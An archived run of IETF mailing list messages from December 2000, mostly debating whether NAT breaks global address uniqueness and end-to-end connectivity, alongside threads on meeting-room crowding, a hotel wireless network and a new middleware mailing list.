Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 14:30:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA15777 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:30:03 -0500 (EST) Received: from dragonfly.ncdragonfly.com (dragonfly.ncdragonfly.com [209.137.27.201]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19011 for ; Fri, 15 Dec 2000 13:13:53 -0500 (EST) Received: from HDAH6900 (216.5.191.172 [216.5.191.172]) by dragonfly.ncdragonfly.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id Y9QKY3AS; Fri, 15 Dec 2000 13:36:57 -0500 Reply-To: From: "David Higginbotham" To: Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 13:17:49 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Don't get me wrong, NAT is an odd booger to be sure, personally I think it is another $BIG_SOFTWARE_COMPANY conspiracy ;-) But... they do not have the same identity, when NAT occurs the device then bears a globally unique IP address at least to all those with whom there may be a conflicting address and those are the only ones that count. yes no maybe? It does not matter whether you call the street my house is on Maple street or 4th street or four streets down from main street as long as the Post Office (read NAT box) knows what you mean happy friday and merry holidays, David H -----Original Message----- From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu] Sent: Friday, December 15, 2000 12:22 PM To: Scott Brim Cc: Keith Moore; Dave Robinson; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! On Fri, 15 Dec 2000 08:54:36 PST, Scott Brim said: > How much meaning does "Keith Moore" have? Somehow we have a planet with > billions of people on it and those who need to still manage to find the > appropriate "Keith Moore". How do they do that? Are there any lessons > to be learned? The lesson to be learned is that we say "The Keith Moore that works at UTK". In fact, there's a word for when two people use the same exact identifier - it's called "identity theft" and usually makes life very difficult for all concerned - for many of the same reasons that 2 hosts with the same IP address don't play nice. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Fri Dec 15 14:40:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA18967 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:40:02 -0500 (EST) Received: from mail.i-dns.net (mail.i-dns.net [203.126.116.228]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19549 for ; Fri, 15 Dec 2000 13:15:32 -0500 (EST) Received: from jamessonyvaio (unknown [63.214.43.74]) by mail.i-dns.net (Postfix) with SMTP id D8AD3FFC05; Sat, 16 Dec 2000 02:15:41 +0800 (SGT) Message-ID: <007001c066c2$c5fe2670$4a2bd63f@jamessonyvaio> From: "James Seng/Personal" To: "Rahmat M. Samik-Ibrahim" , "John W Noerenberg II" Cc: , "MILIS POISED" References: <3A39771B.992469EE@vlsm.org> Subject: Re: What is the IETF? -- A note of caution Date: Sat, 16 Dec 2000 02:13:36 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > (I copy this to the poisson list, since I am somehow blocked from > the IETF list). > > I am fully understand what your concern is. But, > - what should those "corporate representative" do? > - where should they go? The point is you dont, not in IETF. Either you are interested in the work you doing or you are not. If you are not interested in the work, then joining IETF for the sake of 'corporate representation' is not going to help the WG in anyway at all so why bother? -James Seng From owner-ietf-outbound Fri Dec 15 14:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA21600 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 14:50:04 -0500 (EST) Received: from sapphire.int.ipverse.com (w067.z208037018.sjc-ca.dsl.cnc.net [208.37.18.67]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20936 for ; Fri, 15 Dec 2000 13:19:44 -0500 (EST) Received: from matt.ipverse.com (ietf.207.137.72.197.tx.verio.net [207.137.72.197]) by sapphire.int.ipverse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id XNX7N6HH; Fri, 15 Dec 2000 10:19:16 -0800 Message-Id: <5.0.2.1.2.20001215101340.02607d90@pop3.ipverse.com> X-Sender: matt@ipverse.com@pop3.ipverse.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 15 Dec 2000 10:19:16 -0800 To: ietf@ietf.org From: Matt Holdrege Subject: Re: NATs *ARE* evil! In-Reply-To: <3A39A086.75B2E244@nortelnetworks.com> References: <20001214065548.312A6898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Folks should read and *refer* to the NAT WG documents before commenting. An awful lot of work was put into the content and wording of these documents. RFC 2663 draft-ietf-nat-protocol-complications-06.txt & RFC 2993 From owner-ietf-outbound Fri Dec 15 15:00:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23958 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 15:00:04 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21094 for ; Fri, 15 Dec 2000 13:20:10 -0500 (EST) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA13643; Fri, 15 Dec 2000 10:00:41 -0800 (PST) Received: from mailman.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eBFI0mI10859; Fri, 15 Dec 2000 10:00:48 -0800 (PST) Received: from NAUGA (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/8.9.1) with SMTP id KAA01477; Fri, 15 Dec 2000 10:00:31 -0800 (PST) Message-ID: <000f01c066c0$1fa0a6b0$ce4989cf@NAUGA> From: "Melinda Shore" To: "Scott Brim" , "Keith Moore" Cc: "Dave Robinson" , "M Dev" , "Sean Doran" , , References: <200012151556.KAA07104@astro.cs.utk.edu> <14906.19660.543965.709863@localhost.localdomain> Subject: Re: NATs *ARE* evil! Date: Fri, 15 Dec 2000 12:54:50 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > How much meaning does "Keith Moore" have? Somehow we have a planet with > billions of people on it and those who need to still manage to find the > appropriate "Keith Moore". How do they do that? Are there any lessons > to be learned? "Keith Moore" is not an address, "Keith Moore" is a name. Melinda From owner-ietf-outbound Fri Dec 15 15:10:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA27122 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 15:10:02 -0500 (EST) Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21952 for ; Fri, 15 Dec 2000 13:22:52 -0500 (EST) Received: from localhost (ole@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA14178; Fri, 15 Dec 2000 10:21:42 -0800 (PST) Date: Fri, 15 Dec 2000 10:21:42 -0800 (PST) From: "Ole J. Jacobsen" To: Gabriel Landowski cc: Dave Crocker , ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <20001215144909.41503.qmail@web10605.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org One suggestion: given that one or two "channels" of video/audio is always available during the meeting, and given that a number of people simply want to "see what is going on" (regardless of the merit of this), why not pipe the 2 channels onto the hotel TV channels?. This was done during the recent ICANN meeting in LA and worked very well. Since 99% of all the action was on stage, you could easily follow the proceedings from the comfort of your hotel room. It's not a complete solution, but it does at least allow people to follow (some of) the meetings they cannot physically get into. Ole Ole J. Jacobsen Editor and Publisher The Internet Protocol Journal Office of the CTO, Cisco Systems Tel: +1 408-527-8972 GSM: +1 415-370-4628 E-mail: ole@cisco.com URL: http://www.cisco.com/ipj From owner-ietf-outbound Fri Dec 15 15:20:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA00162 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 15:20:04 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA24848 for ; Fri, 15 Dec 2000 13:31:08 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 10:35:16 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1653@EXCHANGE> From: Chris Millikin To: "'Keith Moore'" , Dave Robinson Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 10:35:15 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org It's already happening. Try running IPSec from one 10 network to another 10 network. Much pain. -C -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 9:24 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! > What's the problem with locally significant addresses? Having thousands of > 10 networks will never present a problem unless those networks at some point > would like to talk to each other. right. if net 10 networks stay completely isolated from one another, then there's no problem. the problem only exists when people want to tie those networks together. but it's inevitable that the vast majority of private networks *will* want to communicate with the public Internet in ways that NAT does not facilitate. > Is that where this whole discussion is > going (or coming from) - that ultimately the more NAT'ing we do, the more > headaches we're creating for ourselves en route to true global connectivity? in a nutshell, yes. Keith From owner-ietf-outbound Fri Dec 15 15:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA06724 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 15:40:02 -0500 (EST) Received: from solidum.com (wirespeed.solidum.com [207.35.224.226]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA28405 for ; Fri, 15 Dec 2000 13:39:40 -0500 (EST) Received: from research.solidum.com (phobos.solidum.com [192.168.1.13]) by solidum.com (8.8.7/8.8.7) with ESMTP id NAA16642 for ; Fri, 15 Dec 2000 13:39:41 -0500 Received: from phobos.solidum.com (localhost [127.0.0.1]) by research.solidum.com (8.11.0/8.11.0) with ESMTP id eBFIdZg08415 for ; Fri, 15 Dec 2000 13:39:35 -0500 (EST) Message-Id: <200012151839.eBFIdZg08415@research.solidum.com> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Fri, 15 Dec 2000 08:54:36 PST." <14906.19660.543965.709863@localhost.localdomain> Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII Date: Fri, 15 Dec 2000 13:39:35 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Scott" == Scott Brim writes: Scott> How much meaning does "Keith Moore" have? Somehow we have a Scott> planet with billions of people on it and those who need to still Scott> manage to find the appropriate "Keith Moore". How do they do Scott> that? Are there any lessons to be learned? We have extendable addresses. If the first Keith Moore you find is not the one you want, then you add some information to the locator: Keith Moore of IETF, Keith Moore of Tennessee, etc. At some point, you may get to: Keith Moore of +1 999 555-1212, on 1400 Pennsylannia Blvd. So, one winds up with a unique identifier. It is many bits larger than "Keith Moore". Thus, we have 128 bits in IPv6. :!mcr!: | Solidum Systems Corporation, http://www.solidum.com Michael Richardson |For a better connected world,where data flows faster Personal: http://www.sandelman.ottawa.on.ca/People/Michael_Richardson/Bio.html mailto:mcr@sandelman.ottawa.on.ca mailto:mcr@solidum.com From owner-ietf-outbound Fri Dec 15 16:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA12926 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 16:00:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA00047 for ; Fri, 15 Dec 2000 13:44:22 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 3C3F3898; Fri, 15 Dec 2000 19:44:18 +0100 (CET) To: Chrism@ninthhouse.com, drobinson@endtoend.com, moore@cs.utk.edu Subject: RE: NATs *ARE* evil! Cc: iab@iab.org, ietf@ietf.org, mdev@NORTELNETWORKS.COM, smd@ebone.net Message-Id: <20001215184418.3C3F3898@sean.ebone.net> Date: Fri, 15 Dec 2000 19:44:18 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org | It's already happening. Try running IPSec from one 10 network to another 10 | network. Much pain. Surely the "much pain" is because, as Melinda Shore indicates, some "anti-NAT fanatics" cannot understand the distinction between "who" and "where"? NAT merely exposes and exacerbates the perceptual problem, leading to bruised knees. Sean. From owner-ietf-outbound Fri Dec 15 16:10:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA16418 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 16:10:03 -0500 (EST) Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA00520 for ; Fri, 15 Dec 2000 13:45:45 -0500 (EST) Received: from ws142.nomadiclab.com (ws142.nomadiclab.com [195.165.196.142]) by ws130.nomadiclab.com (Postfix) with ESMTP id CFB5472504; Fri, 15 Dec 2000 20:45:15 +0200 (EET) Date: Fri, 15 Dec 2000 20:44:18 +0200 (EET) From: Teemu Rinta-aho To: =?iso-8859-1?Q?M=E5ns_Nilsson?= Cc: ietf@ietf.org Subject: Re: WLAN In-Reply-To: <20001215194027.H21358@nic-se.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id NAA00520 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Fri, 15 Dec 2000, Måns Nilsson wrote: > > nice to notice that the IETF WLAN is also working here at the > > Embassy Suites hotel, which is far (ab. 2 miles) away from the > > Sheraton... Is here a secret/uninformed access point or is the range > > of WLAN this awesome on this side of the world?-) > > It's a Qualcomm device. So? My network interface card is not. I just wanted to know if there is an access point in the hotel or not. Teemu From owner-ietf-outbound Fri Dec 15 16:20:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA19714 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 16:20:03 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA00602 for ; Fri, 15 Dec 2000 13:46:00 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 10:50:08 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1654@EXCHANGE> From: Chris Millikin To: "'Iliff, Tina'" , "'Dave Robinson'" , Keith Moore Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 10:50:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Well, in this case a device that is doing NAT (properly anyway)would replace the ip and socket headers, much the way each router replaces physical addresses. -Chris Millikin -----Original Message----- From: Iliff, Tina [mailto:Tina.Iliff@WCOM.Com] Sent: Friday, December 15, 2000 9:48 AM To: 'Dave Robinson'; Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! Yes! TCP breaks due to the fact that "true" source/destination sockets cannot be defined. The destination would not know where to send a response except in the case where DNS is used...unless I need to do more reading Tina Iliff -----Original Message----- From: Dave Robinson [mailto:drobinson@endtoend.com] Sent: Friday, December 15, 2000 11:11 AM To: Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 16:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA22956 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 16:30:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA01368 for ; Fri, 15 Dec 2000 13:48:18 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id TAA21300; Fri, 15 Dec 2000 19:48:02 +0100 Message-Id: <4.3.2.7.2.20001215075331.08342de8@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 15 Dec 2000 08:01:38 -0800 To: Jelena Mirkovic , Scott Brim From: Harald Alvestrand Subject: Re: Congestion control Cc: ietf@ietf.org In-Reply-To: References: <14905.24219.694732.170219@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 16:57 14/12/2000 -0800, Jelena Mirkovic wrote: >Errrr....so some people get cut off even during registration process??? >What does it mean active? How about newcomers? >Would it not be a nice idea to simply find a hotel with enough number >of big rooms so that everyone who wants can fit in? At least at >registration time? And then you can have stand-by for people that did not >register but suddenly decided they would like to attend some sessions. there is a little problem with the timelines of IETF planning... if you have a BOF meeting at time T, the timeline is roughly: T-2 years: Contract with hotel is signed T-3 months: Most participants register T-2 months: BOF proponents start registering T-1 month: BOF is announced T-1 week: BOF agenda is posted T-3 days: Last BOF participants decide to attend the IETF T-5 minutes: Lots of IETF participants decide to attend the BOF T: BOF happens T+5 minutes: Complaints about room crowding hit the IETF list :-) If someone wants changes to earlier decisions based on events that happen later, please send one (1) time machine to the IETF secretariat. (guessing is what we already do!) -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Fri Dec 15 16:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA28401 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 16:50:03 -0500 (EST) Received: from dragonfly.ncdragonfly.com (dragonfly.ncdragonfly.com [209.137.27.201]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA07827 for ; Fri, 15 Dec 2000 14:07:48 -0500 (EST) Received: from HDAH6900 (216.5.191.242 [216.5.191.242]) by dragonfly.ncdragonfly.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id Y9QKY3A7; Fri, 15 Dec 2000 14:30:54 -0500 Reply-To: From: "David Higginbotham" To: , "'Dave Robinson'" Cc: Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 14:11:45 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit RFC 2993 Architectural Implications of NAT's ? -----Original Message----- From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu] Sent: Friday, December 15, 2000 12:55 PM To: Dave Robinson Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! On Fri, 15 Dec 2000 12:11:29 EST, Dave Robinson said: > What's the problem with locally significant addresses? Having thousands of Hmm.. this from a guy posting from endtoend.com? I'm not sure if the right word is "ironic" or "sarcastic". In any case, didn't we just release an RFC detailing in excruciating detail? -- Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Fri Dec 15 17:00:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA02610 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 17:00:03 -0500 (EST) Received: from lint.cisco.com (lint.cisco.com [171.68.224.209]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10827 for ; Fri, 15 Dec 2000 14:16:52 -0500 (EST) Received: from cisco.com (sjc-vpn-141.cisco.com [10.21.64.141]) by lint.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA27790 for ; Fri, 15 Dec 2000 11:16:23 -0800 (PST) Message-ID: <3A3A6E06.5775F002@cisco.com> Date: Fri, 15 Dec 2000 11:16:22 -0800 From: Eliot Lear Reply-To: lear@cisco.com X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Announcing a new mailing list on middleware Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Please redistribute to appropriate forums. As I promised in the MIDCOM working group in San Diego, I've created a mailing list for discussion on diagnostics and discovery of intermediate devices. Here are the particulars: List name: march@external.cisco.com Subscribe: majordomo@external.cisco.com Archive: march is short for Middleware ARCHitecture. All I mean by that is that how it all fits together: diagnostics, discovery, and communications with middleware devices is in scope for this list. So is O&M as relates to those devices and their end points. Flaming about intermediate devices is not in scope. I'd like to start, however, by focusing discussion on diagnostics and discovery. Please join me on this list to consider how these devices make themselves known, what the implications of diagnostic messages such as ICMP errors could be in these cases, and what additional mechanisms are needed. Cheers! -- Eliot Lear lear@cisco.com From owner-ietf-outbound Fri Dec 15 17:10:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA06058 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 17:10:03 -0500 (EST) Received: from web10602.mail.yahoo.com (web10602.mail.yahoo.com [216.136.130.166]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13912 for ; Fri, 15 Dec 2000 14:24:59 -0500 (EST) Message-ID: <20001215192500.18251.qmail@web10602.mail.yahoo.com> Received: from [199.67.138.20] by web10602.mail.yahoo.com; Fri, 15 Dec 2000 11:25:00 PST Date: Fri, 15 Dec 2000 11:25:00 -0800 (PST) From: Gabriel Landowski Subject: Re: Congestion control To: Keith Moore , Gabriel Landowski Cc: ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org --- Keith Moore wrote: > We'd need to adopt drastically different methods for > running a working group and for making decisions. I agree whole heartedly. How ever when do we put a stake in the ground to beging this? > I also suspect it's much easier for thirty people to > come up with a good technical solution, than for > > three thousand or even three hundred, even if the > clue density remains the same for each case. > > Keith Again I agree, however what happens when 3000 want to have their opinion heard? How do we filter them all down to something manageable? Again I would offer a warning flag that the IETF will need to be ready for rapid growth and exposure. Gabriel __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Fri Dec 15 17:20:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA08665 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 17:20:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA15101 for ; Fri, 15 Dec 2000 14:27:57 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id OAA13546 for ; Fri, 15 Dec 2000 14:27:57 -0500 Received: from wizard.watson.ibm.com (wizard.watson.ibm.com [9.2.215.95]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id OAA24252 for ; Fri, 15 Dec 2000 14:27:57 -0500 Received: (from prasad@localhost) by wizard.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id OAA01637 for ietf@ietf.org; Fri, 15 Dec 2000 14:30:33 -0500 Date: Fri, 15 Dec 2000 14:30:33 -0500 From: v guruprasad To: ietf@ietf.org Subject: Nimrod is still ugly - was: NATs *ARE* evil! Message-ID: <20001215143033.B1616@wizard.watson.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Loop: ietf@ietf.org > Were we to i) incrementally deploy and start using new globally unique > namespace(s) [either a single one functioning much as IPv4 addresses > functioned originaly, or, as many of us think would be wise, two separate > ones, one to identify entities for end-end communication and another to give > topologically related names to communication devices], and then ii) > reinterpret the 32-bit fields as "local forwarding tags", then NAT boxes > would cease to be an architectural ugliness, and become merely engineering > ugliness. > > "I trust I make myself obscure." (And a tip of the hatly hat to anyone who > recognizes the source of that quotation... :-) > > Noel Now that we've figured out the first step and admit to the remaining ugliness, maybe we can take the next... Here goes: One basic reason Nimrod is still ugly is that it leaves us to deal with real addresses. The art of doling out virtual addresses and doing virtual-to-real translation behind the scenes, and quite efficiently at that, has been known in the OS arena for over three decades. Even PC OS's have it today :) Isn't it time to graduate to the network analogue? Yes, it takes a mental leap - even binary search isn't as simple as linear, let alone Unix to the DOS-groomed. But if you want performance, scalability and elegance, it's possible, it's already shown, and it's waiting for the brave new world. Far more importantly, which point is sorely missed in the Triad and Nimrod proposals and where the real mental leaps comes, it doesn't require throwing the v4 (or v6) baby out with the scummy bathwater. ["and still the earth moves"] -p. From owner-ietf-outbound Fri Dec 15 17:40:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA14987 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 17:40:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA17610 for ; Fri, 15 Dec 2000 14:34:47 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id OAA14800; Fri, 15 Dec 2000 14:34:40 -0500 Date: Fri, 15 Dec 2000 14:34:40 -0500 From: "J. Noel Chiappa" Message-Id: <200012151934.OAA14800@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: drobinson@endtoend.com, jnc@ginger.lcs.mit.edu, moore@cs.utk.edu X-Loop: ietf@ietf.org >> From: Keith Moore [mailto:moore@cs.utk.edu] >> the problems with NAT are not generally due to implementation. they >> are inherent in the very idea of NAT, which destroys the global >> Internet address space. > From: Dave Robinson > How does the idea of NAT destroy the global Internet address space? Ah, Keith was using a little verbal shorthand here. He meant "NAT removes the global *uniqueness* of NAT'd Internet addresses". Similarly, when he said: > addresses are meaningless. he really meant "NAT'd addresses are no longer capable of uniquely globally identifying people". NAT'd addresses do still have *some* meaning, of course, it's just a more complex and restricted meaning than they used to. Noel From owner-ietf-outbound Fri Dec 15 17:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA18055 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 17:50:03 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA29331 for ; Fri, 15 Dec 2000 15:16:34 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 12:20:42 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1658@EXCHANGE> From: Chris Millikin To: "'Matt Holdrege'" , ietf@ietf.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 12:20:41 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Point taken. Rather than reiterate my point I will refer to the following excerpt from RFC 2993: " - NATs enable casual use of private addresses. These uncoordinated addresses are subject to collisions when companies using these addresses merge or want to directly interconnect using VPNs. " This is becoming a major drawback to NAT. -Chris -----Original Message----- From: Matt Holdrege [mailto:matt@ipverse.com] Sent: Friday, December 15, 2000 10:19 AM To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Folks should read and *refer* to the NAT WG documents before commenting. An awful lot of work was put into the content and wording of these documents. RFC 2663 draft-ietf-nat-protocol-complications-06.txt & RFC 2993 From owner-ietf-outbound Fri Dec 15 